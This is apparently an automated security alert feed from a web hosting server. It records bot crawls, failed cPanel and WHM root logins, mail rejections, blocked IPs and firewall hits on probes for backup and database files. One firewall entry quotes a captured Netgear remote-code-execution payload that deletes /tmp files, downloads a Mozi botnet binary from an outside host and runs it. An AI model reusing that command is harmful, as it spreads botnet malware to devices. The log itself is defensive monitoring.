name: Anti-bot protection. User passed successfully
abuser: 47.128.96.182
country_id: 1880251
description:
47.128.96.182 - - [10/Jun/2026:13:01:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527089&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feglise-evangelique-presbyterienne-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096477 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eglise-evangelique-presbyterienne-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.182


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [10/Jun/2026:13:01:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972818&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogocom-fimo228-11e-edition%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096490 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togocom-fimo228-11e-edition/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [10/Jun/2026:13:02:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726360&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpass-vaccinal-obligatoire-avant-lacces-aux-banques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096536 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pass-vaccinal-obligatoire-avant-lacces-aux-banques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.175
country_id: 1880251
description:
47.128.96.175 - - [10/Jun/2026:13:02:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10471319&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flundi-3-mai-2021-ferie-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096550 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/lundi-3-mai-2021-ferie-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.232.137.229
country_id: 3996063
description:
149.232.137.229 - - [10/Jun/2026:13:01:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738903&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D8804&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096501 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=8804" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.232.137.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.16
country_id: 1880251
description:
47.128.96.16 - - [10/Jun/2026:13:01:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594521&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchanteuse-togolaise-kezita%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096503 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chanteuse-togolaise-kezita/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [10/Jun/2026:13:02:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921426&pdata=https%253A%252F%252Ftdn.tg%252Fbceao-recrute-19-postes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096570 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/bceao-recrute-19-postes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [10/Jun/2026:13:03:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079963&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096613 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.136
country_id: 1880251
description:
47.128.96.136 - - [10/Jun/2026:13:03:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316231&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclinique-a-lome-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096622 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/clinique-a-lome-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.136


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - admin@nic.tg [06/10/2026:13:04:36 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: admin@nic.tg


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.46.202
country_id: 6252001
description:
[2026-06-10 13:04:41 +0000] info [cpaneld] 104.207.46.202 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [10/Jun/2026:13:04:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974105&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F11e-edition-togocom-fimo228%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096695 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/11e-edition-togocom-fimo228/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.45
country_id: 2750405
description:
2026-06-10 13:05:29 H=([46.151.182.45]) [46.151.182.45]:59864 F=<mail@mailling.co.uk> rejected RCPT <arse@arse.tg>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.212.193
country_id: 798544
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:46.203.212.193||TA:46.203.212.193||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.8.34.4
country_id: 1220409
description:
[2026-06-10 13:06:22 +0000] info [whostmgrd] 217.8.34.4 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [10/Jun/2026:13:05:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869676&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommune-de-bas-mono-1-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096734 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commune-de-bas-mono-1-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.242.192.72
country_id: 2363686
description:
2026-06-10 13:06:15 dovecot_plain authenticator failed for H=(CanonD1D677.CFMI.com) [160.242.192.72]:54153: 535 Incorrect authentication data (set_id=cfmiscan@cfmi.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.55.224.174
country_id: 3469034
description:
[2026-06-10 13:06:25 +0000] info [whostmgrd] 177.55.224.174 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [10/Jun/2026:13:06:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065565&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchanteuse-togolaise-kezita%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096814 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chanteuse-togolaise-kezita/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.153.193.119
country_id: 1861060
domain: isecurite.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:pnls||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.27.192.140
country_id: 2661886
description:
[2026-06-10 13:07:51 +0000] info [whostmgrd] 193.27.192.140 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 193.27.192.140
country_id: 2661886
description:
[2026-06-10 13:07:53 +0000] info [whostmgrd] 193.27.192.140 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.152.167
country_id: 3017382
description:
[2026-06-10 13:07:54 +0000] info [cpaneld] 161.97.152.167 - perfectl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfectl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.202.186.161
country_id: 6252001
description:
[2026-06-10 13:07:57 +0000] info [cpaneld] 64.202.186.161 - perfectlabo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfectlabo (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.49.124.192
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/history HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 198.135.55.97
country_id: 6252001
description:
[2026-06-10 13:08:57 +0000] info [cpaneld] 198.135.55.97 NEW nxpivbcy:VchK8HwjzEKp_4gU address=198.135.55.97,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-10 13:10:54 +0000] info [cpaneld] 45.61.130.187 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.138
country_id: 1880251
description:
47.128.96.138 - - [10/Jun/2026:13:11:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195911&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fawi-toyi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097068 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/awi-toyi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.131.180.190
country_id: 3469034
description:
Jun 10 13:10:59 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.131.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 163.5.102.161
country_id: 3017382
description:
[2026-06-10 13:12:12 +0000] info [whostmgrd] 163.5.102.161 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID x9dqu4) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 103.146.110.231
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.15||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://103.146.110.231:37720/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 163.5.102.161
country_id: 3017382
description:
[2026-06-10 13:12:36 +0000] info [whostmgrd] 163.5.102.161 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 163.5.102.161
country_id: 3017382
description:
[2026-06-10 13:12:46 +0000] info [whostmgrd] 163.5.102.161 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 163.5.102.161
country_id: 3017382
description:
[2026-06-10 13:12:48 +0000] info [whostmgrd] 163.5.102.161 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.125
country_id: 1880251
description:
47.128.96.125 - - [10/Jun/2026:13:15:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920647&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fhachalu-hundessa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097333 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/hachalu-hundessa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [10/Jun/2026:13:16:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591379&pdata=https%253A%252F%252Ftdn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097383 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.52.132
country_id: 2635167
domain: anamek.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/anamek.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.45.164
country_id: 6252001
domain: www.anamek.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.anamek.tg/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.109
country_id: 1880251
description:
47.128.121.109 - - [10/Jun/2026:13:17:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13067881&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fpresidentielle-2020-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097433 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/presidentielle-2020-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.109


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.37.189
country_id: 6252001
domain: www.anamek.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.anamek.tg/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.207
country_id: 1880251
description:
47.128.96.207 - - [10/Jun/2026:13:17:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053486&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fawi-toyi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097439 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/awi-toyi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.207


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.31.44
country_id: 3017382
domain: anamek.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/anamek.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.243.14
country_id: 1562822
description:
Jun 10 13:18:02 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.243.14 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [10/Jun/2026:13:17:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169897&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprix-des-produits-petroliers-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097460 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prix-des-produits-petroliers-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.45
country_id: 2750405
description:
2026-06-10 13:18:51 H=([46.151.182.45]) [46.151.182.45]:50044 F=<mail@mailling.co.uk> rejected RCPT <ekeabenin@ekeasarl.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [10/Jun/2026:13:18:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923222&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsieges-deputes-assemblee-nationale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097534 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sieges-deputes-assemblee-nationale/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [10/Jun/2026:13:19:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10471321&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097560 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [10/Jun/2026:13:19:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080473&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprix-des-produits-petroliers-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097554 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prix-des-produits-petroliers-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.227.172.13
country_id: 2017370
description:
Jun 10 13:20:15 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.227.172.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.113.50
country_id: 6252001
description:
[2026-06-10 13:19:40 +0000] info [cpaneld] 82.40.113.50 - ecritoir "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ecritoir (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.113.22.54
country_id: 2017370
description:
[2026-06-10 13:20:13 +0000] info [whostmgrd] 188.113.22.54 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [10/Jun/2026:13:20:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657475&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsieges-deputes-assemblee-nationale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097640 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sieges-deputes-assemblee-nationale/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [10/Jun/2026:13:21:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12948633&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconcours-de-recrutement-des-enseignants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097715 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/concours-de-recrutement-des-enseignants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 197.234.221.34
country_id: 2395170
description:
197.234.221.34 - - [10/Jun/2026:13:22:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053526&pdata=https%253A%252F%252Fcrrhuemoa.org%252Ffr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097732 HTTP/2.0" 302 0 crrhuemoa.org "https://crrhuemoa.org/fr" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"197.234.221.34" CAPTCHA:"0" PEER:141.101.76.75


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [10/Jun/2026:13:23:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6579558&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097793 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.215.198
country_id: 3469034
domain: hrmbj.mesyscom.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/data.sql||User:jmtctoni||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.24
country_id: 3175395
description:
Jun 10 13:24:10 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.215.198
country_id: 3469034
domain: hrmbj.mesyscom.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/exports/db.sql||User:jmtctoni||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.229
country_id: 2635167
description:
[2026-06-10 13:25:25 +0000] info [cpaneld] 5.230.153.229 NEW zauwogvk:Gmx5wl8Z6MSXzzXH address=5.230.153.229,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
